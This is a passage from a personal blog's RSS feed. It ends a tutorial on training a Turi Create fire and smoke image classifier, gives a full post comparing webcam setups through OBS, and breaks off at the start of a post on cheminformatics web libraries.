<span class="na">img_1018.jpg   img_29.jpg     img_522.jpg    &#39;img_63 (2).jpg&#39;   img_922.jpg</span>
<span class="na">img_101.jpg    img_3000.jpg   img_523.jpg     img_63.jpg       img_923.jpg</span>
<span class="na">img_1027.jpg   img_335.jpg    img_524.jpg     img_66.jpg       img_924.jpg</span>
<span class="na">img_102.jpg    img_336.jpg    img_52.jpg     img_67.jpg       img_925.jpg</span>
<span class="na">img_1042.jpg   img_337.jpg    img_530.jpg     img_68.jpg       img_926.jpg</span>
<span class="na">img_1043.jpg   img_338.jpg    img_531.jpg     img_700.jpg       img_927.jpg</span>
<span class="na">img_1046.jpg   img_339.jpg   &#39;img_53 (2).jpg&#39;     img_701.jpg       img_928.jpg</span>
<span class="na">img_1052.jpg   img_340.jpg    img_532.jpg     img_702.jpg       img_929.jpg</span>
<span class="na">img_107.jpg    img_341.jpg    img_533.jpg     img_703.jpg       img_930.jpg</span>
<span class="na">img_108.jpg    img_3.jpg      img_537.jpg     img_704.jpg       img_931.jpg</span>
<span class="na">img_109.jpg    img_400.jpg    img_538.jpg     img_705.jpg       img_932.jpg</span>
<span class="na">img_10.jpg     img_471.jpg    img_539.jpg     img_706.jpg       img_933.jpg</span>
<span class="na">img_118.jpg    img_472.jpg    img_53.jpg     img_707.jpg       img_934.jpg</span>
<span class="na">img_12.jpg     img_473.jpg    img_540.jpg     img_708.jpg       img_935.jpg</span>
<span class="na">img_14.jpg     img_488.jpg    img_541.jpg     img_709.jpg       img_938.jpg</span>
<span class="na">img_15.jpg     img_489.jpg   &#39;img_54 (2).jpg&#39;     img_70.jpg       img_958.jpg</span>
<span class="na">img_16.jpg     img_490.jpg    img_542.jpg     img_710.jpg       img_971.jpg</span>
<span class="na">img_17.jpg     img_491.jpg    img_543.jpg    &#39;img_71 (2).jpg&#39;   img_972.jpg</span>
<span class="na">img_18.jpg     img_492.jpg    img_54.jpg     img_71.jpg       img_973.jpg</span>
<span class="na">img_19.jpg     img_493.jpg   &#39;img_55 (2).jpg&#39;     img_72.jpg       img_974.jpg</span>
<span class="na">img_1.jpg      img_494.jpg    img_55.jpg     img_73.jpg       img_975.jpg</span>
<span class="na">img_200.jpg    img_495.jpg    img_56.jpg     img_74.jpg       img_980.jpg</span>
<span class="na">img_201.jpg    img_496.jpg    img_57.jpg     img_75.jpg       img_988.jpg</span>
<span class="na">img_202.jpg    img_497.jpg    img_58.jpg     img_76.jpg       img_9.jpg</span>
<span class="na">img_203.jpg    img_4.jpg      img_59.jpg     img_77.jpg</span>
<span class="na">img_204.jpg    img_501.jpg    img_601.jpg     img_78.jpg</span>
<span class="na">img_205.jpg    img_502.jpg    img_602.jpg     img_79.jpg</span>
<span class="na">img_206.jpg    img_50.jpg     img_603.jpg     img_7.jpg</span>
</code></pre>
</div>

<p>The image files are not actually JPEG, thus we first need to save them in the correct format for Turicreate</p>

<div class="codehilite">
<pre><span></span><code><span class="kn">from</span> <span class="nn">PIL</span> <span class="kn">import</span> <span class="n">Image</span>
<span class="kn">import</span> <span class="nn">glob</span>


<span class="n">folders</span> <span class="o">=</span> <span class="p">[</span><span class="s2">&quot;default&quot;</span><span class="p">,</span><span class="s2">&quot;smoke&quot;</span><span class="p">,</span><span class="s2">&quot;fire&quot;</span><span class="p">]</span>
<span class="k">for</span> <span class="n">folder</span> <span class="ow">in</span> <span class="n">folders</span><span class="p">:</span>
  <span class="n">n</span> <span class="o">=</span> <span class="mi">1</span>
  <span class="k">for</span> <span class="n">file</span> <span class="ow">in</span> <span class="n">glob</span><span class="o">.</span><span class="n">glob</span><span class="p">(</span><span class="s2">&quot;./data/data/img_data/train/&quot;</span> <span class="o">+</span> <span class="n">folder</span> <span class="o">+</span> <span class="s2">&quot;/*.jpg&quot;</span><span class="p">):</span>
    <span class="n">im</span> <span class="o">=</span> <span class="n">Image</span><span class="o">.</span><span class="n">open</span><span class="p">(</span><span class="n">file</span><span class="p">)</span>
    <span class="n">rgb_im</span> <span class="o">=</span> <span class="n">im</span><span class="o">.</span><span class="n">convert</span><span class="p">(</span><span class="s1">&#39;RGB&#39;</span><span class="p">)</span>
    <span class="n">rgb_im</span><span class="o">.</span><span class="n">save</span><span class="p">((</span><span class="n">folder</span> <span class="o">+</span> <span class="s2">&quot;/&quot;</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">n</span><span class="p">)</span> <span class="o">+</span> <span class="s2">&quot;.jpg&quot;</span><span class="p">),</span> <span class="n">quality</span><span class="o">=</span><span class="mi">100</span><span class="p">)</span>
    <span class="n">n</span> <span class="o">+=</span><span class="mi">1</span> 
  <span class="k">for</span> <span class="n">file</span> <span class="ow">in</span> <span class="n">glob</span><span class="o">.</span><span class="n">glob</span><span class="p">(</span><span class="s2">&quot;./data/data/img_data/train/&quot;</span> <span class="o">+</span> <span class="n">folder</span> <span class="o">+</span> <span class="s2">&quot;/*.jpg&quot;</span><span class="p">):</span>
    <span class="n">im</span> <span class="o">=</span> <span class="n">Image</span><span class="o">.</span><span class="n">open</span><span class="p">(</span><span class="n">file</span><span class="p">)</span>
    <span class="n">rgb_im</span> <span class="o">=</span> <span class="n">im</span><span class="o">.</span><span class="n">convert</span><span class="p">(</span><span class="s1">&#39;RGB&#39;</span><span class="p">)</span>
    <span class="n">rgb_im</span><span class="o">.</span><span class="n">save</span><span class="p">((</span><span class="n">folder</span> <span class="o">+</span> <span class="s2">&quot;/&quot;</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">n</span><span class="p">)</span> <span class="o">+</span> <span class="s2">&quot;.jpg&quot;</span><span class="p">),</span> <span class="n">quality</span><span class="o">=</span><span class="mi">100</span><span class="p">)</span>
    <span class="n">n</span> <span class="o">+=</span><span class="mi">1</span>
</code></pre>
</div>

<p>\</p>

<div class="codehilite">
<pre><span></span><code><span class="nt">!mkdir</span><span class="na"> train</span>
<span class="na">!mv default ./train</span>
<span class="na">!mv smoke ./train</span>
<span class="na">!mv fire ./train</span>
</code></pre>
</div>

<h2 id="making-the-image-classifier">Making the Image Classifier</h2>

<h3 id="making-an-sframe">Making an SFrame</h3>

<div class="codehilite">
<pre><span></span><code><span class="nt">!pip</span><span class="na"> install turicreate</span>
</code></pre>
</div>

<p>\</p>

<div class="codehilite">
<pre><span></span><code><span class="kn">import</span> <span class="nn">turicreate</span> <span class="k">as</span> <span class="nn">tc</span>
<span class="kn">import</span> <span class="nn">os</span>

<span class="n">data</span> <span class="o">=</span> <span class="n">tc</span><span class="o">.</span><span class="n">image_analysis</span><span class="o">.</span><span class="n">load_images</span><span class="p">(</span><span class="s2">&quot;./train&quot;</span><span class="p">,</span> <span class="n">with_path</span><span class="o">=</span><span class="kc">True</span><span class="p">)</span>

<span class="n">data</span><span class="p">[</span><span class="s2">&quot;label&quot;</span><span class="p">]</span> <span class="o">=</span> <span class="n">data</span><span class="p">[</span><span class="s2">&quot;path&quot;</span><span class="p">]</span><span class="o">.</span><span class="n">apply</span><span class="p">(</span><span class="k">lambda</span> <span class="n">path</span><span class="p">:</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">basename</span><span class="p">(</span><span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">dirname</span><span class="p">(</span><span class="n">path</span><span class="p">)))</span>

<span class="nb">print</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>

<span class="n">data</span><span class="o">.</span><span class="n">save</span><span class="p">(</span><span class="s1">&#39;fire-smoke.sframe&#39;</span><span class="p">)</span>
</code></pre>
</div>

<p>\</p>

<div class="codehilite">
<pre><span></span><code><span class="nt">+-------------------------+------------------------+</span>
<span class="err">|</span><span class="w">           </span><span class="err">path</span><span class="w">          </span><span class="err">|</span><span class="w">         </span><span class="err">image</span><span class="w">          </span><span class="err">|</span>
<span class="nt">+-------------------------+------------------------+</span>
<span class="err">|</span><span class="w">  </span><span class="err">./train/default/1.jpg</span><span class="w">  </span><span class="err">|</span><span class="w"> </span><span class="err">Height:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">Width:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">|</span>
<span class="err">|</span><span class="w">  </span><span class="err">./train/default/10.jpg</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">Height:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">Width:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">|</span>
<span class="err">|</span><span class="w"> </span><span class="err">./train/default/100.jpg</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">Height:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">Width:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">|</span>
<span class="err">|</span><span class="w"> </span><span class="err">./train/default/101.jpg</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">Height:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">Width:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">|</span>
<span class="err">|</span><span class="w"> </span><span class="err">./train/default/102.jpg</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">Height:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">Width:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">|</span>
<span class="err">|</span><span class="w"> </span><span class="err">./train/default/103.jpg</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">Height:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">Width:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">|</span>
<span class="err">|</span><span class="w"> </span><span class="err">./train/default/104.jpg</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">Height:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">Width:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">|</span>
<span class="err">|</span><span class="w"> </span><span class="err">./train/default/105.jpg</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">Height:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">Width:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">|</span>
<span class="err">|</span><span class="w"> </span><span class="err">./train/default/106.jpg</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">Height:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">Width:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">|</span>
<span class="err">|</span><span class="w"> </span><span class="err">./train/default/107.jpg</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">Height:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">Width:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">|</span>
<span class="nt">+-------------------------+------------------------+</span>
<span class="nt">[2028</span><span class="na"> rows x 2 columns]</span>
<span class="na">Note</span><span class="p">:</span><span class="err"> </span><span class="nc">Only</span><span class="err"> </span><span class="nc">the</span><span class="err"> </span><span class="nc">head</span><span class="err"> </span><span class="nc">of</span><span class="err"> </span><span class="nc">the</span><span class="err"> </span><span class="nc">SFrame</span><span class="err"> </span><span class="nc">is</span><span class="err"> </span><span class="nc">printed.</span>
<span class="nt">You</span><span class="na"> can use print_rows(num_rows=m, num_columns=n) to print more rows and columns.</span>
<span class="na">+-------------------------+------------------------+---------+</span>
<span class="p">|</span><span class="na">           path          </span><span class="p">|</span><span class="na">         image          </span><span class="p">|</span><span class="na">  label  </span><span class="p">|</span>
<span class="nt">+-------------------------+------------------------+---------+</span>
<span class="err">|</span><span class="w">  </span><span class="err">./train/default/1.jpg</span><span class="w">  </span><span class="err">|</span><span class="w"> </span><span class="err">Height:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">Width:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">default</span><span class="w"> </span><span class="err">|</span>
<span class="err">|</span><span class="w">  </span><span class="err">./train/default/10.jpg</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">Height:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">Width:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">default</span><span class="w"> </span><span class="err">|</span>
<span class="err">|</span><span class="w"> </span><span class="err">./train/default/100.jpg</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">Height:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">Width:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">default</span><span class="w"> </span><span class="err">|</span>
<span class="err">|</span><span class="w"> </span><span class="err">./train/default/101.jpg</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">Height:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">Width:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">default</span><span class="w"> </span><span class="err">|</span>
<span class="err">|</span><span class="w"> </span><span class="err">./train/default/102.jpg</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">Height:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">Width:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">default</span><span class="w"> </span><span class="err">|</span>
<span class="err">|</span><span class="w"> </span><span class="err">./train/default/103.jpg</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">Height:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">Width:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">default</span><span class="w"> </span><span class="err">|</span>
<span class="err">|</span><span class="w"> </span><span class="err">./train/default/104.jpg</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">Height:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">Width:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">default</span><span class="w"> </span><span class="err">|</span>
<span class="err">|</span><span class="w"> </span><span class="err">./train/default/105.jpg</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">Height:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">Width:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">default</span><span class="w"> </span><span class="err">|</span>
<span class="err">|</span><span class="w"> </span><span class="err">./train/default/106.jpg</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">Height:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">Width:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">default</span><span class="w"> </span><span class="err">|</span>
<span class="err">|</span><span class="w"> </span><span class="err">./train/default/107.jpg</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">Height:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">Width:</span><span class="w"> </span><span class="err">224</span><span class="w"> </span><span class="err">|</span><span class="w"> </span><span class="err">default</span><span class="w"> </span><span class="err">|</span>
<span class="nt">+-------------------------+------------------------+---------+</span>
<span class="nt">[2028</span><span class="na"> rows x 3 columns]</span>
<span class="na">Note</span><span class="p">:</span><span class="err"> </span><span class="nc">Only</span><span class="err"> </span><span class="nc">the</span><span class="err"> </span><span class="nc">head</span><span class="err"> </span><span class="nc">of</span><span class="err"> </span><span class="nc">the</span><span class="err"> </span><span class="nc">SFrame</span><span class="err"> </span><span class="nc">is</span><span class="err"> </span><span class="nc">printed.</span>
<span class="nt">You</span><span class="na"> can use print_rows(num_rows=m, num_columns=n) to print more rows and columns.</span>
</code></pre>
</div>

<h3 id="making-the-model">Making the Model</h3>

<div class="codehilite">
<pre><span></span><code><span class="kn">import</span> <span class="nn">turicreate</span> <span class="k">as</span> <span class="nn">tc</span>

<span class="c1"># Load the data</span>
<span class="n">data</span> <span class="o">=</span>  <span class="n">tc</span><span class="o">.</span><span class="n">SFrame</span><span class="p">(</span><span class="s1">&#39;fire-smoke.sframe&#39;</span><span class="p">)</span>

<span class="c1"># Make a train-test split</span>
<span class="n">train_data</span><span class="p">,</span> <span class="n">test_data</span> <span class="o">=</span> <span class="n">data</span><span class="o">.</span><span class="n">random_split</span><span class="p">(</span><span class="mf">0.8</span><span class="p">)</span>

<span class="c1"># Create the model</span>
<span class="n">model</span> <span class="o">=</span> <span class="n">tc</span><span class="o">.</span><span class="n">image_classifier</span><span class="o">.</span><span class="n">create</span><span class="p">(</span><span class="n">train_data</span><span class="p">,</span> <span class="n">target</span><span class="o">=</span><span class="s1">&#39;label&#39;</span><span class="p">)</span>

<span class="c1"># Save predictions to an SArray</span>
<span class="n">predictions</span> <span class="o">=</span> <span class="n">model</span><span class="o">.</span><span class="n">predict</span><span class="p">(</span><span class="n">test_data</span><span class="p">)</span>

<span class="c1"># Evaluate the model and print the results</span>
<span class="n">metrics</span> <span class="o">=</span> <span class="n">model</span><span class="o">.</span><span class="n">evaluate</span><span class="p">(</span><span class="n">test_data</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="n">metrics</span><span class="p">[</span><span class="s1">&#39;accuracy&#39;</span><span class="p">])</span>

<span class="c1"># Save the model for later use in Turi Create</span>
<span class="n">model</span><span class="o">.</span><span class="n">save</span><span class="p">(</span><span class="s1">&#39;fire-smoke.model&#39;</span><span class="p">)</span>

<span class="c1"># Export for use in Core ML</span>
<span class="n">model</span><span class="o">.</span><span class="n">export_coreml</span><span class="p">(</span><span class="s1">&#39;fire-smoke.mlmodel&#39;</span><span class="p">)</span>
</code></pre>
</div>

<p>\</p>

<div class="codehilite">
<pre><span></span><code><span class="nt">Performing</span><span class="na"> feature extraction on resized images...</span>
<span class="na">Completed   64/1633</span>
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<span class="na">Completed  448/1633</span>
<span class="na">Completed  512/1633</span>
<span class="na">Completed  576/1633</span>
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<span class="na">Completed  768/1633</span>
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<span class="na">Completed  896/1633</span>
<span class="na">Completed  960/1633</span>
<span class="na">Completed 1024/1633</span>
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<span class="na">Completed 1536/1633</span>
<span class="na">Completed 1600/1633</span>
<span class="na">Completed 1633/1633</span>
<span class="na">PROGRESS</span><span class="p">:</span><span class="err"> </span><span class="nc">Creating</span><span class="err"> </span><span class="nc">a</span><span class="err"> </span><span class="nc">validation</span><span class="err"> </span><span class="nc">set</span><span class="err"> </span><span class="nc">from</span><span class="err"> </span><span class="nc">5</span><span class="err"> </span><span class="nc">percent</span><span class="err"> </span><span class="nc">of</span><span class="err"> </span><span class="nc">training</span><span class="err"> </span><span class="nc">data.</span><span class="err"> </span><span class="nc">This</span><span class="err"> </span><span class="nc">may</span><span class="err"> </span><span class="nc">take</span><span class="err"> </span><span class="nc">a</span><span class="err"> </span><span class="nc">while.</span>
<span class="w">          </span><span class="err">You</span><span class="w"> </span><span class="err">can</span><span class="w"> </span><span class="err">set</span><span class="w"> </span><span class="err">``validation_set=None``</span><span class="w"> </span><span class="err">to</span><span class="w"> </span><span class="err">disable</span><span class="w"> </span><span class="err">validation</span><span class="w"> </span><span class="err">tracking.</span>

<span class="nt">Logistic</span><span class="na"> regression</span><span class="p">:</span>
<span class="nt">--------------------------------------------------------</span>
<span class="nt">Number</span><span class="na"> of examples          </span><span class="p">:</span><span class="err"> </span><span class="nc">1551</span>
<span class="nt">Number</span><span class="na"> of classes           </span><span class="p">:</span><span class="err"> </span><span class="nc">3</span>
<span class="nt">Number</span><span class="na"> of feature columns   </span><span class="p">:</span><span class="err"> </span><span class="nc">1</span>
<span class="nt">Number</span><span class="na"> of unpacked features </span><span class="p">:</span><span class="err"> </span><span class="nc">2048</span>
<span class="nt">Number</span><span class="na"> of coefficients      </span><span class="p">:</span><span class="err"> </span><span class="nc">4098</span>
<span class="nt">Starting</span><span class="na"> L-BFGS</span>
<span class="na">--------------------------------------------------------</span>
<span class="na">+-----------+----------+-----------+--------------+-------------------+---------------------+</span>
<span class="p">|</span><span class="na"> Iteration </span><span class="p">|</span><span class="na"> Passes   </span><span class="p">|</span><span class="na"> Step size </span><span class="p">|</span><span class="na"> Elapsed Time </span><span class="p">|</span><span class="na"> Training Accuracy </span><span class="p">|</span><span class="na"> Validation Accuracy </span><span class="p">|</span>
<span class="nt">+-----------+----------+-----------+--------------+-------------------+---------------------+</span>
<span class="err">|</span><span class="w"> </span><span class="err">0</span><span class="w">         </span><span class="err">|</span><span class="w"> </span><span class="err">6</span><span class="w">        </span><span class="err">|</span><span class="w"> </span><span class="err">0.018611</span><span class="w">  </span><span class="err">|</span><span class="w"> </span><span class="err">0.891830</span><span class="w">     </span><span class="err">|</span><span class="w"> </span><span class="err">0.553836</span><span class="w">          </span><span class="err">|</span><span class="w"> </span><span class="err">0.560976</span><span class="w">            </span><span class="err">|</span>
<span class="err">|</span><span class="w"> </span><span class="err">1</span><span class="w">         </span><span class="err">|</span><span class="w"> </span><span class="err">10</span><span class="w">       </span><span class="err">|</span><span class="w"> </span><span class="err">0.390832</span><span class="w">  </span><span class="err">|</span><span class="w"> </span><span class="err">1.622383</span><span class="w">     </span><span class="err">|</span><span class="w"> </span><span class="err">0.744681</span><span class="w">          </span><span class="err">|</span><span class="w"> </span><span class="err">0.792683</span><span class="w">            </span><span class="err">|</span>
<span class="err">|</span><span class="w"> </span><span class="err">2</span><span class="w">         </span><span class="err">|</span><span class="w"> </span><span class="err">11</span><span class="w">       </span><span class="err">|</span><span class="w"> </span><span class="err">0.488541</span><span class="w">  </span><span class="err">|</span><span class="w"> </span><span class="err">1.943987</span><span class="w">     </span><span class="err">|</span><span class="w"> </span><span class="err">0.733075</span><span class="w">          </span><span class="err">|</span><span class="w"> </span><span class="err">0.804878</span><span class="w">            </span><span class="err">|</span>
<span class="err">|</span><span class="w"> </span><span class="err">3</span><span class="w">         </span><span class="err">|</span><span class="w"> </span><span class="err">14</span><span class="w">       </span><span class="err">|</span><span class="w"> </span><span class="err">2.442703</span><span class="w">  </span><span class="err">|</span><span class="w"> </span><span class="err">2.512545</span><span class="w">     </span><span class="err">|</span><span class="w"> </span><span class="err">0.727917</span><span class="w">          </span><span class="err">|</span><span class="w"> </span><span class="err">0.841463</span><span class="w">            </span><span class="err">|</span>
<span class="err">|</span><span class="w"> </span><span class="err">4</span><span class="w">         </span><span class="err">|</span><span class="w"> </span><span class="err">15</span><span class="w">       </span><span class="err">|</span><span class="w"> </span><span class="err">2.442703</span><span class="w">  </span><span class="err">|</span><span class="w"> </span><span class="err">2.826964</span><span class="w">     </span><span class="err">|</span><span class="w"> </span><span class="err">0.861380</span><span class="w">          </span><span class="err">|</span><span class="w"> </span><span class="err">0.853659</span><span class="w">            </span><span class="err">|</span>
<span class="err">|</span><span class="w"> </span><span class="err">9</span><span class="w">         </span><span class="err">|</span><span class="w"> </span><span class="err">28</span><span class="w">       </span><span class="err">|</span><span class="w"> </span><span class="err">2.340435</span><span class="w">  </span><span class="err">|</span><span class="w"> </span><span class="err">5.492035</span><span class="w">     </span><span class="err">|</span><span class="w"> </span><span class="err">0.941328</span><span class="w">          </span><span class="err">|</span><span class="w"> </span><span class="err">0.975610</span><span class="w">            </span><span class="err">|</span>
<span class="nt">+-----------+----------+-----------+--------------+-------------------+---------------------+</span>
<span class="nt">Performing</span><span class="na"> feature extraction on resized images...</span>
<span class="na">Completed  64/395</span>
<span class="na">Completed 128/395</span>
<span class="na">Completed 192/395</span>
<span class="na">Completed 256/395</span>
<span class="na">Completed 320/395</span>
<span class="na">Completed 384/395</span>
<span class="na">Completed 395/395</span>
<span class="na">0.9316455696202531</span>
</code></pre>
</div>

<p>We just got an accuracy of 94% on Training Data and 97% on Validation Data!</p>
]]></content:encoded>
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		<item>
			<guid isPermaLink="true">
				https://web.navan.dev/posts/2020-10-11-macOS-Virtual-Cam-OBS.html
			</guid>
			<title>
				Trying Different Camera Setups
			</title>
			<description>
				Comparison of different cameras setups for using as a webcam and tutorials for the same.
			</description>
			<link>https://web.navan.dev/posts/2020-10-11-macOS-Virtual-Cam-OBS.html</link>
			<pubDate>Sun, 11 Oct 2020 16:12:00 -0000</pubDate>
			<content:encoded><![CDATA[<h1 id="trying-different-camera-setups">Trying Different Camera Setups</h1>

<ol start="0">
<li>Animated Overlays</li>
<li>Using a modern camera as your webcam</li>
<li>Using your phone's camera as your webcam</li>
<li>Using a USB Camera</li>
</ol>

<h2 id="comparison">Comparison</h2>

<p>Here are the results before you begin reading.</p>

<div class="b-dics">
  <img src="/assets/posts/obs/normal.png" alt="Normal Webcam">
  <img src="/assets/posts/obs/usb.png" alt="USB Webcam">
  <img src="/assets/posts/obs/5S.png" alt="Camo iPhone 5S">
  <img src="/assets/posts/obs/11.png" alt="Camo iPhone 11">
  <img src="/assets/posts/obs/mirrorless.png" alt="Mirrorless Camera">
</div>

<h2 id="prerequisites">Prerequisites</h2>

<p>I am running macOS and iOS but I will try to link the same steps for Windows as well. If you are running Arch, I assume you already know what you are doing and are using this post as an inspiration and not a how-to guide.</p>

<p>I assume that you have Homebrew installed.</p>

<h3 id="obs-and-obs-virtual-cam">OBS and OBS-Virtual-Cam</h3>

<p><em>Description</em></p>

<pre><code>brew cask install obs
brew cask install obs-virtualcam
</code></pre>

<p>Windows users can install the latest version of the plugin from <a rel="noopener" target="_blank" href="https://obsproject.com/forum/resources/obs-virtualcam.949/">OBS-Forums</a></p>

<h2 id="0-animated-overlays">0. Animated Overlays</h2>

<p>I have always liked PewDiePie's animated border he uses in his videos</p>

<p><img src="/assets/posts/obs/01-pewdiepie.png" alt="Still grab from PewDiePie's video showing border" /></p>

<p>The border was apparently made by a YouTuber <a rel="noopener" target="_blank" href="https://www.youtube.com/watch?v=R__RUitpjnA">Sleepy Tanooki</a>. He posted a <a rel="noopener" target="_blank" href="https://drive.google.com/drive/folders/1mL3HAvTQfG7mTqwCp-9xCJ2IFhZUoJ5W">link to a Google Drive folder</a> containing the video file. (I will be using the video overlay for the example)</p>

<p>It is pretty simple to use overlays in OBS:</p>

<p>First, Create a new scene by clicking on the plus button on the bottom right corner.</p>

<p><img src="/assets/posts/obs/01-panel.png" alt="Bottom Panel of OBS" /></p>

<p>Now, in the Sources section click on the add button -> Video Capture Device -> Create New -> Choose your webcam from the Device section.</p>

<p>You may, resize if you want</p>

<p>After this, again click on the add button, but this time choose the <code>Media Source</code> option</p>

<p><img src="/assets/posts/obs/01-media-source.png" alt="Media Source Option" /></p>

<p>and, locate and choose the downloaded overlay.</p>

<h2 id="1-using-a-modern-camera-without-using-a-capture-card">1. Using a Modern Camera (Without using a Capture Card)</h2>

<p>I have a Sony mirrorless camera. Using Sony's <a rel="noopener" target="_blank" href="https://imagingedge.sony.net/en/ie-desktop.html">Imaging Edge Desktop</a>, you can use your laptop as a remote viewfinder and capture or record media.</p>

<p>After installing Image Edge Desktop or your Camera's equivalent, open the <code>Remote</code> application. </p>

<p><img src="/assets/posts/obs/02-remote.png" alt="Remote showing available cameras" /></p>

<p>Once you are able to see the output of the camera on the application, switch to OBS. Create a new scene, and this time choose <code>Window Capture</code> in the Sources menu. After you have chosen the appropriate window, you may transform/crop the output using the properties/filters options.</p>

<h2 id="21-using-your-iphone-using-quicktime">2.1 Using your iPhone using Quicktime</h2>

<p>Connect your iPhone via a USB cable, then Open Quicktime ->  File -> New Movie Recording </p>

<p>In the Sources choose your device (No need to press record). You may open the camera app now.</p>

<p><img src="/assets/posts/obs/021-source.png" alt="Choose Source" /></p>

<p>Now, in OBS create a new scene, and in the sources choose the <code>Window Capture</code> option. You will need to rotate the source:</p>

<p><img src="/assets/posts/obs/021-rotate.png" alt="Rotation" /></p>

<h2 id="22-using-your-iphone-using-an-application-like-camo">2.2 Using your iPhone using an application like Camo</h2>

<p>Install the Camo app on your phone through the app store -> connect to Mac using USB cable, install the companion app and you are done.</p>

<p>I tried both my current iPhone and an old iPhone 5S</p>

<h2 id="3-a-usb-webcam">3. A USB Webcam</h2>

<p>The simplest solution, is to use a USB webcam. I used an old <a rel="noopener" target="_blank" href="https://www.logitech.com/en-in/product/hd-webcam-c310">Logitech C310</a> that was collecting dust. I was surprised to find that Logitech is still selling it after years and proudly advertising it! (5MP)</p>

<p>It did not sit well on my laptop, so I placed it on my definitely-not-Joby Gorrila Pod i had bought on Amazon for ~₹500</p>

<p><img src="/assets/posts/obs/3-usb.png" alt="USB Webcam" />
<head>
<link rel="stylesheet" href="/assets/posts/obs/dics.css"></p>

<script src="/assets/posts/obs/dics.js"></script>

<p></head></p>

<script>

new Dics({
    container: document.querySelector('.b-dics')
});
</script>
]]></content:encoded>
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		<item>
			<guid isPermaLink="true">
				https://web.navan.dev/posts/2021-06-26-Cheminformatics-On-The-Web-2021.html
			</guid>
			<title>
				Cheminformatics on the Web (2021)
			</title>
			<description>
				Summarising Cheminformatics on the web in 2021.
			</description>
			<link>https://web.navan.dev/posts/2021-06-26-Cheminformatics-On-The-Web-2021.html</link>
			<pubDate>Sat, 26 Jun 2021 13:04:00 -0000</pubDate>
			<content:encoded><![CDATA[<h1 id="cheminformatics-on-the-web-2021">Cheminformatics on the Web (2021)</h1>

<p>Here, I have compiled a list of some libraries and possible ideas.
I, personally, like static websites which don't require a server side application and can be hosted on platforms like GitHub Pages.
Or, just by opening the HTML file and running it in your browser. 
WebAssembly (Wasm) has made running code written for other platforms on the web relatively easier.
Combine Wasm with some pure JavaScript libraries, and you get a platform to quickly amp up your speed in some common tasks.</p>

<h2 id="rdkit">RDKit</h2>

<p>RDKit bundles a minimal JavaScript Wrapper in their core RDKit suite. 
